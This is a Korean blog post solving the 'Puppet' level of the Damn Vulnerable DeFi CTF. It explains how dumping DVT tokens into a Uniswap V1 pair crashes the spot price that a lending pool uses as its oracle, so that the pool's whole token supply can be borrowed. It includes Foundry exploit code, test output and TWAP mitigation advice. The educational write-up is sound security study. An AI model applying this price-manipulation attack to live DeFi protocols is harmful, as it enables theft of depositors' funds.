티스토리 뷰

Solidity/Hacking

[Damn Vulnerable DeFi] Puppet

piatoss 2024. 2. 28. 12:00

문제

 

Puppet

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity. There’s a DVT market opened in an old Uniswap

www.damnvulnerabledefi.xyz


취약점

 PuppetPool 컨트랙트의 취약점은 UniswapV1Exchange의 가격을 사용하는 오라클을 구현한 것에 있습니다. UniswapV1에서의 가격은 모든 거래의 영향을 직접적으로 받습니다. 예를 들어, ETH-ERC20 페어에서 갑자기 아주 많은 양의 ERC20 토큰을 ETH로 스왑 하게 되면 ERC20 토큰의 가격은 아주 큰 폭으로 떨어지게 됩니다. 우리는 이 점을 이용해 토큰의 가격을 먼저 떨어트린 다음, 렌딩 풀의 모든 토큰을 꺼내오면 됩니다.


공격

 현재 유동성 풀에는 10 ETH와 10 DVT가 들어있으며 이를 통해 K가 100이라는 것을 알 수 있습니다. 그리고 1 ETH = 1 DVT임을 알 수 있습니다. 공격자는 1000 DVT를 ETH로 스왑 하여 DVT의 가격을 떨어트립니다. 스왑이 실행된 이후 유동성 풀에는 약 0.09901 ETH와 1010 DVT가 남아있을 것이고 이를 기반으로 가격을 계산하면 1 ETH로 약 10200 DVT를 빌릴 수 있습니다. 공격자는 25 ETH를 가지고 있고 토큰을 빌리기 위해서는 토큰 가격의 2배가 되는 ETH를 전송해야 합니다. 12.5 ETH에 해당하는 토큰양만 따지더라도 127,500개로 렌딩 풀이 가지고 있는 100,000개를 빌리고도 남습니다.

vm.startPrank(attacker);

// Approve the Uniswap exchange to spend the attacker's tokens
dvt.approve(address(uniswapExchange), type(uint256).max);

console.log("Attacker DVT balance before swap: ", dvt.balanceOf(attacker) / 10 ** 18);
console.log("Attacker ETH balance before swap: ", attacker.balance / 10 ** 18);

console.log("Token price before swap: ", computeTokenPrice());

// Manipulate the price of the token in the Uniswap exchange
uniswapExchange.tokenToEthSwapInput(ATTACKER_INITIAL_TOKEN_BALANCE, 1, DEADLINE);

console.log("Attacker DVT balance after swap: ", dvt.balanceOf(attacker) / 10 ** 18);
console.log("Attacker ETH balance after swap: ", attacker.balance / 10 ** 18);

console.log("Token price after swap: ", computeTokenPrice());

// Borrow the maximum amount of tokens from the pool
uint256 borrowAmount = calculateMaxBorrowable(ATTACKER_INITIAL_ETH_BALANCE);
if (borrowAmount > POOL_INITIAL_TOKEN_BALANCE) {
    console.log("Borrowing the maximum amount of tokens from the pool");
    borrowAmount = POOL_INITIAL_TOKEN_BALANCE;
}

puppetPool.borrow{value: puppetPool.calculateDepositRequired(borrowAmount)}(borrowAmount);

vm.stopPrank();
$ make Puppet
forge test --match-test testExploit --match-contract Puppet$
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Levels/puppet/Puppet.t.sol:Puppet
[PASS] testExploit() (gas: 136037)
Logs:
  🧨 Let's see if you can break it... 🧨
  Attacker DVT balance before swap:  1000
  Attacker ETH balance before swap:  25
  Token price before swap:  1000000000000000000
  Attacker DVT balance after swap:  0
  Attacker ETH balance after swap:  34
  Token price after swap:  98321649443991
  Borrowing the maximum amount of tokens from the pool
  
🎉 Congratulations, you can go to the next level! 🎉

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.03ms

Ran 1 test suite in 8.03ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

개선안

 가격 변동이 시시각각 반영되는 UniswapV1 보다는 시간 가중치를 곱해 누적된 가격으로 평균적인 가격(TWAP)을 구할 수 있는 UniswapV2 이상의 버전을 사용하는 것이 좋습니다. 이 외에도 신뢰할 수 있는 다양한 가격 오라클을 기반으로 평균 가격 또는 중앙값을 구하여 사용하는 것도 좋은 방법입니다.

 

[Uniswap] V2 Oracle 예제

⛓️ 시리즈 2024.01.30 - [Solidity/DeFi] - [Uniswap] V2 Core - UniswapV2ERC20 2024.01.31 - [Solidity/DeFi] - [Uniswap] V2 Core - UniswapV2Factory 2024.01.31 - [Solidity/DeFi] - [Uniswap] V2 Core - UniswapV2Pair 2024.02.05 - [Solidity/DeFi] - [Uniswap]

piatoss3612.tistory.com

 

'Solidity > Hacking' 카테고리의 다른 글

[Damn Vulnerable DeFi] Free Rider  (0) 2024.03.01
[Damn Vulnerable DeFi] Puppet V2  (0) 2024.02.29
[Damn Vulnerable DeFi] Compromised  (1) 2024.02.27
[Damn Vulnerable DeFi] Selfie  (0) 2024.02.26
[Damn Vulnerable DeFi] The Rewarder  (0) 2024.02.25
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함